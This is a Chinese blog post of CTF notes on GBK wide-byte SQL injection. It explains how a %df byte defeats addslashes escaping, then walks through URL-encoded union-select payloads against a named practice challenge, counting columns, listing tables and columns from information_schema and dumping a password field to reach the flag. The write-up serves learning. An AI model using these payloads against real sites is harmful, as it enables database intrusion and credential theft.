CTF宽字节注入

CTF宽字节注入


oxo1 宽字节注入的原理

addslashes`函数,会在 单引号 ,双引号,反斜线,NULL字符前面加上一个转义字符反斜杠,那么如何逃逸这个过滤呢?

  1. 前面再加一个\,变成 \\',这样的\就会被转义了,’逃出了限制。
  2. 把\弄没 —–》对应的将会是宽字节注入

宽字节注入利用mysql的特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字,前一个ascii码大于128的时候,才到汉字的范围。

-》 \' —————–> %5c%27

%df' ————> %df\'—–> %df%5c%27 GBK会将两个百分号的字母变成一个字符

根据GBK编码,第一个字节的ascii码大于128,基本上就可以注入

mysql_query("SET NAMES 'gbk'")就会是gbk编码。

如果改成GB2312的话 ,由于反斜杠的ascii码是0x5c,它不是gb2312中的编码,自然不会被吃掉。扩展到普遍的是只要是低位的范围中含有0x5c的编码,就可以进行宽字节注入。

补充:mysql_real_escape_string(php5)考虑到连接的当前字符集,并不会转义% 和__。


oxo2 宽字节实战CTF


http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1

实战地址,使用union注入,

  1. 先使用order语句判断字段数目

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27order%20by%202%23 2不报错使用3报错判断字段为2

  1. 判断可显示字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,2%23 在叶面发现2可以显示,接下来将id变为-1使得前面的读取为null,就会显示我们需要注入的语句。

  1. union查找库

发现可能是没有权限读取所有库

  1. 查找当前库的表

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()%23 注入得到 ~ctf~,~ctf2~,~ctf3~,~ctf4~,~gbksqli~,~news~ ,这些表。

  1. 查找CTF中的列名

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=char(99,116,102)%23 字段为 ~user~,~pw~

可以使用hex来代替char函数

  1. dump字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,group_concat(pw)%20from ctf%23

得到flag。


  转载请注明: 星晴 CTF宽字节注入

 上一篇
CTF-文件包含 CTF-文件包含
CTF-文件包含 url的小tips :https://a.com/1.txt?a.php 访问的依然还是1.txt,问号后面还是不顶用。 1. 伪协议 file:// 访问本地文件系统 http:// ftp:// 访问 ftp ph
2019-11-16 starjian
下一篇 
ctf解题思路笔记 ctf解题思路笔记
0x01 越来越难 sql注入-》ssrf 栈利用-》堆利用 古典密码 -》 区块链 容易入门,难以精通ctf-wiki:社区,新手友好 大量WP,大量OJ 难以提升,需要大量的精力 今年:硬核 内核提权,虚拟机逃逸,浏览器漏洞,1da
2019-11-16 starjian
  目录